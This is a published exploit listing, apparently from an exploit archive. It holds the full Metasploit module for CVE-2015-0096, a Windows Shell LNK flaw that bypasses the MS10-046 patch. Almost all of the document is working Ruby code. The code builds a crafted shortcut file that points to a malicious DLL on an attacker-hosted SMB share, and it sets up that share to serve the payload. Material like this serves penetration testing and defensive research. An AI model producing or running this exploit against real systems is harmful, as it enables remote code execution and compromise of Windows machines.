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Microsoft Windows Shell SMB LNK Code Execution

Microsoft Windows Shell SMB LNK Code Execution
Posted Mar 12, 2015
Authored by juan vazquez, Michael Heerklotz | Site metasploit.com

This Metasploit module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This creates an SMB resource to provide the payload and the trigger, and generates a LNK file which must be sent to the target. This Metasploit module has been tested successfully on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027 installed.

tags | exploit
systems | windows
advisories | CVE-2015-0096
SHA-256 | 8d0a846229e5812d01bd4445f0b8c53b9c1261e86b25a1e40b85b10a1bbd4391

Microsoft Windows Shell SMB LNK Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share

attr_accessor :exploit_dll_name

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Shell LNK Code Execution',
'Description' => %q{
This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
DLL. This creates an SMB resource to provide the payload and the trigger, and generates a
LNK file which must be sent to the target. This module has been tested successfully on
Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
installed.
},
'Author' =>
[
'Michael Heerklotz', # Vulnerability discovery
'juan vazquez' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0096'],
['MSB', 'MS15-020'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DisclosureDate' => 'Mar 10 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
], self.class)

register_advanced_options(
[
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
], self.class)

deregister_options('FILE_CONTENTS', 'FILE_NAME')
end

def smb_host
"\\\\#{srvhost}\\#{share}\\"
end


def setup
super

self.file_contents = generate_payload_dll
random_char = rand_text_alpha(1)
self.file_name = "#{random_char}.dll"
prefix = "#{random_char} "
random_length = 257 - smb_host.length - file_name.length - prefix.length
self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}"

print_status("Payload available on #{unc}...")
print_status("Trigger available on #{smb_host}#{exploit_dll_name}...")
end

def primer
lnk = generate_link("#{smb_host}#{exploit_dll_name}")
file_create(lnk)
print_status('The LNK file must be sent or shared with the target...')
end

def generate_link(unc)
uni_unc = unc.unpack('C*').pack('v*')
path = ''
path << [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
path << uni_unc

# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')

idlist_data = ''
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [path.length + 2].pack('v')
idlist_data << path
idlist_data << [0x00].pack('v') # TERMINAL WOO

# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data

# ExtraData blocks (none)
ret << [rand(4)].pack('V')

# Patch in the LinkFlags
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
ret
end
end
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